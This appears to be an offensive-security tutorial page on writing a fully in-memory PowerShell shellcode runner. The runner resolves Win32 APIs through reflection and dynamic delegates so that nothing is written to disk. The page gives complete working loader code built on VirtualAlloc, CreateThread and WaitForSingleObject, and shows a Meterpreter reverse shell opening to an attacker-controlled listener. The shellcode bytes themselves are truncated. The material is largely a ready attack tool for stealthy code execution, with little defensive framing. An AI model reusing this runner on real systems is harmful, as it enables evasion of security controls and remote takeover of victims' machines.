Reflection Shellcode Runner in PowerShell

In this section, the focus is on creating a fully in-memory PowerShell shellcode runner using the reflection technique, completely avoiding disk writes. This method is built upon previous sections, where we:

  1. Used UnsafeNativeMethods to resolve Win32 API function addresses dynamically.

  2. Created delegate types via reflection to match function signatures.

Now, we apply these techniques to build a stealthy shellcode execution method using PowerShell.


Step 1: Creating a Generic Delegate Type

To execute shellcode, we need to invoke three essential Win32 API functions:

  1. VirtualAlloc – Allocates executable memory.

  2. CreateThread – Creates a new thread to execute shellcode.

  3. WaitForSingleObject – Prevents PowerShell from exiting before execution.

To streamline the process, we convert the delegate type creation code into a reusable function called getDelegateType. This function:

  • Creates an in-memory assembly and module.

  • Defines a delegate type dynamically.

  • Returns the constructed delegate type for API calls.

Code for getDelegateType

function getDelegateType { 
    Param ( 
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, 
        [Parameter(Position = 1)] [Type] $delType = [Void] 
    ) 

    $type = [AppDomain]::CurrentDomain.
        DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),  
        [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
        DefineDynamicModule('InMemoryModule', $false).
        DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',  
        [System.MulticastDelegate])

    $type.DefineConstructor('RTSpecialName, HideBySig, Public', 
        [System.Reflection.CallingConventions]::Standard, $func).
        SetImplementationFlags('Runtime, Managed')

    $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
        SetImplementationFlags('Runtime, Managed')

    return $type.CreateType()
}
  • This function takes API argument types and a return type, returning a dynamically created delegate type​.


Step 2: Allocating Executable Memory

We resolve and call VirtualAlloc to allocate a memory buffer for the shellcode:

$lpMem = 
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    (LookupFunc kernel32.dll VirtualAlloc), 
    (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).
Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
  • This allocates 4KB of executable memory (0x1000 size, 0x40 for PAGE_EXECUTE_READWRITE)​.


Step 3: Injecting Shellcode

We then generate shellcode (e.g., Metasploit Meterpreter) and store it in a byte array:

[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...

To copy shellcode into the allocated memory:

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
  • This writes the shellcode directly into memory​.


Step 4: Executing the Shellcode

Now, we create a new thread to execute our shellcode using CreateThread:

powershellCopyEdit$hThread = 
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    (LookupFunc kernel32.dll CreateThread), 
    (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).
Invoke([IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero)
  • This launches the shellcode in a new thread.

Finally, we prevent PowerShell from terminating by waiting for the thread to complete:

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    (LookupFunc kernel32.dll WaitForSingleObject), 
    (getDelegateType @([IntPtr], [Int32]) ([Int]))).
Invoke($hThread, 0xFFFFFFFF)
  • This blocks execution until the thread completes​.


Final Execution: Reverse Shell

Once executed, the PowerShell script establishes a reverse Meterpreter shell, confirmed by:

[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.11; (UUID: pm1qmw8u)
[*] Meterpreter session 1 opened (192.168.119.120:443 -> 192.168.120.11:49678)
meterpreter >  
  • This confirms the shellcode successfully executed​.

Final Code

function LookupFunc { 
 
    Param ($moduleName, $functionName) 
 
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |  
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1]. 
      Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') 
    $tmp=@() 
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} 
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, 
@($moduleName)), $functionName)) 
} 
 
function getDelegateType { 
 
    Param ( 
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, 
        [Parameter(Position = 1)] [Type] $delType = [Void] 
    ) 
 
    $type = [AppDomain]::CurrentDomain. 
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),  
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run). 
      DefineDynamicModule('InMemoryModule', $false). 
      DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',  
      [System.MulticastDelegate]) 
 
  $type. 
    DefineConstructor('RTSpecialName, HideBySig, Public', 
[System.Reflection.CallingConventions]::Standard, $func). 
      SetImplementationFlags('Runtime, Managed') 
 
  $type. 
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func). 
      SetImplementationFlags('Runtime, Managed') 
 
    return $type.CreateType() 
}
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40) 


#shell
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0....


[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length) 

$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero) 

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)

Last updated